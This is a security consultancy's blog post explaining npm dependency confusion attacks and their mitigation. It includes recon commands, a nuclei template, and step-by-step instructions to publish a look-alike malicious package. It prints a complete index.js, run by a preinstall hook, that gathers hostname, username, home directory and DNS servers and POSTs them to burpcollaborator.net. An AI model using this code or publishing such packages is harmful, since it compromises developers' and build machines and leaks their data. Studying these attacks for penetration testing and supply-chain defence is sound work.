Software Supply ChainDecember 19, 2022Dependency Confusion Attack and its Mitigation

In this blog, we will discuss Dependency Confusion attacks and ways to exploit them.

What is a Dependency Confusion Attack?  

Dependency confusion is an attack on the build process of an application. This is due to the improper configuration of private dependency repositories. Versions of local packages can be downloaded from a major public repository thanks to vulnerable configurations (e.g., registry.npmjs.com for NPM). When a private package is only registered in a local repository, a hacker can upload a malicious package with the same name and a higher version number to the main repository. Malicious code will be downloaded and run on a build or developer machine when a victim updates their packages. 

What is npm? 

npm is an online repository for the publishing of open-source Node.js projects. It is a command-line utility for interacting with said repository that aids in package installation, version management, and dependency management. 

The workflow of a Dependency Confusion attack is similar to the following: 

  • To discover private package names used by the target company. 
  • After finding the private package, build a malicious version of that package. 
  • The malicious package is pushed to a public code repository.
  • Next time when a package installer requests the dependency packages from the repository, it ends up downloading the malicious code file from the public library instead of the internal registry 

Searching for Private Packages 

JavaScript packages are installed via npm, and the primary repository for them is npmjs.com. The dependencies are kept in the program’s root directory in a file named package.json.

  1. Directory brute force for sensitive information leaks.
ffuf -w SecLists/Fuzzing/boom.txt -u http://target.com/FUZZ 

2. Use Google Dorking with the keywords, such as –

intext:"package.json" ,  intext:"packagelock.json" 

3. It is also accessible via the npm package.json disclosure nuclei template

Link to the template: https://github.com/projectdiscovery/nuclei-templates/blob/main/exposures/configs/package-json.yaml

id: package-json 
 
info: 
  name: npm package.json disclosure 
  author: geeknik,afaq 
  severity: info 
  description: All npm packages contain a file, usually in the project root, called package.json - this file holds various metadata relevant to the project. 
  tags: config,exposure 
 
requests: 
  - method: GET 
    path: 
      - "{{BaseURL}}/package.json" 
      - "{{BaseURL}}/package-lock.json" 
 
    matchers-condition: and 
    matchers: 
      - type: word 
        words: 
          - "name" 
          - "version" 
        condition: and 
 
      - type: word 
        words: 
          - "application/json" 
        part: header 
 
      - type: status 
        status: 
          - 200 

Let’s run the following command:

nuclei -t ./nuclei-templates/exposures/configs/package-json.yaml -u http://target.com  

Now that we have a list of all the packages used in the application, the next step is to find out which ones are NOT on npm. 

We can do this simply by visiting https://www.npmjs.com and search for the package name. 

For example, lets search for:

ez-web-master 

This means that these are private packages. 

Creating Malicious Packages 

  1. Install NPM using the following command:
apt install npm 

2. Log in or sign up for npm at https://www.npmjs.com/signup.

3. Open a terminal and login to the npm public registry from the terminal using –

npm login

4. Use the following command to create an npm package.

npm init 

Enter the package name as shown below. 

5. After successfully creating the package.json file, we need to edit the created file to execute our own scripts and commands.

6. Preinstall is the bash command that executes. Paste your RCE payload here. After editing, the package.json file should look like this:

7. Now create the index.js file as shown below.

//author:- whitehacker003@protonmail.com 

const os = require("os"); 
const dns = require("dns"); 
const querystring = require("querystring"); 
const https = require("https"); 
const packageJSON = require("./package.json"); 
const package = packageJSON.name; 

const trackingData = JSON.stringify({ 

    p: package, 
    c: __dirname, 
    hd: os.homedir(), 
    hn: os.hostname(), 
    un: os.userInfo().username, 
    dns: dns.getServers(), 
    r: packageJSON ? packageJSON.___resolved : undefined, 
    v: packageJSON.version, 
    pjson: packageJSON, 

}); 

var postData = querystring.stringify({ 

    msg: trackingData, 

}); 

var options = { 

    hostname: "burpcollaborator.net", //replace burpcollaborator.net with Interactsh or pipedream 
    port: 443, 
    path: "/", 
    method: "POST", 

    headers: { 

        "Content-Type": "application/x-www-form-urlencoded", 
        "Content-Length": postData.length, 

    }, 

}; 

var req = https.request(options, (res) => { 

    res.on("data", (d) => { 

        process.stdout.write(d); 

    }); 

}); 

req.on("error", (e) => { 

    // console.error(e); 

}); 

req.write(postData); 
req.end(); 

8. Now there will be two files created package.json , index.js. 

Pushing the Package into Public Registry 

  • To push the package, run the following command:
npm publish 

Now, whenever the backend code runs ”npm install,” it will install our package.json file, preinstall scripts will execute the index.js file and get the hostname, directory, ipaddress, username 

Impact:

If these packages were claimed by an attacker, it would lead to the execution of arbitrary code on the affected server and also allow the attacker to add backdoors to the affected projects during the build process.  

Mitigating the Dependency Confusion Attack 

The key to enhancing cybersecurity in general and software supply chain security in particular is preventing dependency confusion vulnerabilities. Since it impacts every programming language’s package management, including JavaScript’s npm, Python’s pip, Ruby’s rubygems, and Java’s maven or gradle, there isn’t a single solution that will eliminate all possible replacement concerns. Instead, there are some best practices that may be used to help control the risks, such as: 

1. Client-side authentication  

Package installers should support client-side validation, such as a hash check mode that evaluates all downloaded packages against a client-side stored hash. Some package repositories also include plugins that verify the PGP signatures of installed components. Such integrity verification helps strengthen the security posture while preventing successful exploits requiring control over the storage server and client computers. 

2. Pin version  

Pinning dependencies explicitly declares the package version that the application will use. Some package managers allow developers to pin their applications to different versions instead of just one. Freezing the version of dependencies allows for iterative installations and finer-grained control over dependencies by ensuring that all deployments use the same Git repository (or other version control systems).  

3. Namespaces and scopes of dependencies 

Most online repositories use scopes or namespaces to allow isolation and control of resources within an organization’s technology framework. In a typical scenario, the organization owns the domain or namespace, while the repository implements a registration and verification process to validate uploaded files. To ensure that all components are downloaded from trusted repositories, it is recommended to enforce a policy that requires developers to only reference defined namespaces or scope names when loading packages. 

By partnering with Redfox Security, you’ll get the best security and technical skills required to execute an effective and thorough penetration test. Our offensive security experts have years of experience assisting organizations in protecting their digital assets through penetration testing services. To schedule a call with one of our technical specialists, call 1-800-917-0850 now.

Redfox Security is a diverse network of expert security consultants with a global mindset and a collaborative culture. With a combination of data-driven, research-based, and manual testing methodologies, we proudly deliver robust security solutions.

“Join us on our journey of growth and development by signing up for our comprehensive courses, if you want to excel in the field of cybersecurity.”

Gaurav Patil

by Gaurav Patil

Associate Security Consultant | Redfox Security